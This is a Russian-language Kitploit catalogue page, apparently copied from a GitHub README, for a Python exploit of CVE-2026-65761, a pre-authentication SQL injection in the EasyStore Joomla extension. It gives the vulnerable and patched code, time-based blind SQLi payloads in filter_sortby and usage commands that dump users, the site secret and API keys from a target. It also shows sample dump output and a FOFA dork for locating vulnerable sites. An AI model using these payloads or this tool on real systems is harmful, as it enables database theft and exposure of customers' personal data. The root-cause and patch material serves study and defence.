Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-65761 — EasyStore Joomla Pre-Auth SQL-инъекция через filter_sortby Direction (CVE-2026-65761, CVSS 9.3) | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-65761
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubshinthink/cve-2026-65761

CVE-2026-65761

EasyStore Joomla Pre-Auth SQL-инъекция через filter_sortby Direction (CVE-2026-65761, CVSS 9.3)

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-65761 — SQL-инъекция без аутентификации в EasyStore для Joomla

Направление filter_sortby → инъекция в ORDER BY → полное чтение БД


Обзор

CVE-2026-65761 (CVSS 9.3 — критический) — это SQL-инъекция без аутентификации в EasyStore для Joomla от JoomShaper, затрагивающая версии ≤ 2.0.1.

Параметр списка товаров filter_sortby разделяется на колонку и направление. Колонка проверяется по белому списку, однако без каких-либо ограничений ASC/DESC, что позволяет анонимному посетителю выполнять произвольную SQL-инъекцию.

направление напрямую конкатенируется в SQL-предложение ORDER BY

Злоумышленник без аутентификации может прочитать всю базу данных Joomla: учётные записи пользователей, хэши паролей, данные сессий, секреты сайта, API-ключи и все персональные данные клиентов (имена, email-адреса, адреса, номера телефонов, историю покупок).

CVECVE-2026-65761
CVSS9.3 Критический
ЗатронутоEasyStore ≤ 2.0.1
ИсправленоEasyStore 2.0.2
ТипSQL-инъекция (CWE-89)
АутентификацияНе требуется
ОбнаруженоPhil Taylor (mySites.guru) — июль 2026

Механизм уязвимости

Первопричина

FilterHelper.php:741 возвращает направление сортировки без проверки по белому списку ASC/DESC:

root@kitploit:~
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase

ProductsModel.php:932 конкатенирует направление напрямую в SQL:

root@kitploit:~
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation

В соседних списках брендов и коллекций были корректные белые списки направлений. В списке товаров их не было.

Патч (EasyStore 2.0.2)

root@kitploit:~
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

Ход атаки

root@kitploit:~
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi

Предварительные условия

ТребованиеОписание
EasyStore ≤ 2.0.1Установлена уязвимая версия
Доступен список товаровindex.php?option=com_easystore&view=products
Без аутентификацииРаботает анонимно
MySQL/MariaDBИзвлечение на основе временных задержек через SLEEP()

Установка

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only

Использование

root@kitploit:~
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

Вывод

root@kitploit:~
+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                      Super User
  manager                   [email protected]                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

Requests: 1847

Технические детали

Уязвимый путь в коде

ФайлСтрокаПроблема
site/src/Helper/FilterHelper.php741Возвращает направление без белого списка — только strtoupper()
site/src/Model/ProductsModel.php932Конкатенирует $direction напрямую в предложение ORDER BY

Параметр инъекции

root@kitploit:~
filter_sortby = <column>-<direction>

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))

Дополнительные уязвимости в EasyStore 2.0.1

CVEТипCVSS
CVE-2026-65759Подделка заказа / манипуляция платежами8.7
CVE-2026-65760IDOR в счетах (раскрытие данных других клиентов)9.2
CVE-2026-65761SQL-инъекция (данный эксплойт)9.3

FOFA-дорк

root@kitploit:~
body="com_easystore" && body="filter_sortby"

Ссылки

  • mySites.guru — Первоначальное раскрытие
  • JoomShaper — EasyStore Free
  • VulDB — CVE-2026-65761

Отказ от ответственности

Только для авторизованного тестирования безопасности и образовательных исследований. Авторы не несут ответственности за неправомерное использование.

Скачать инструмент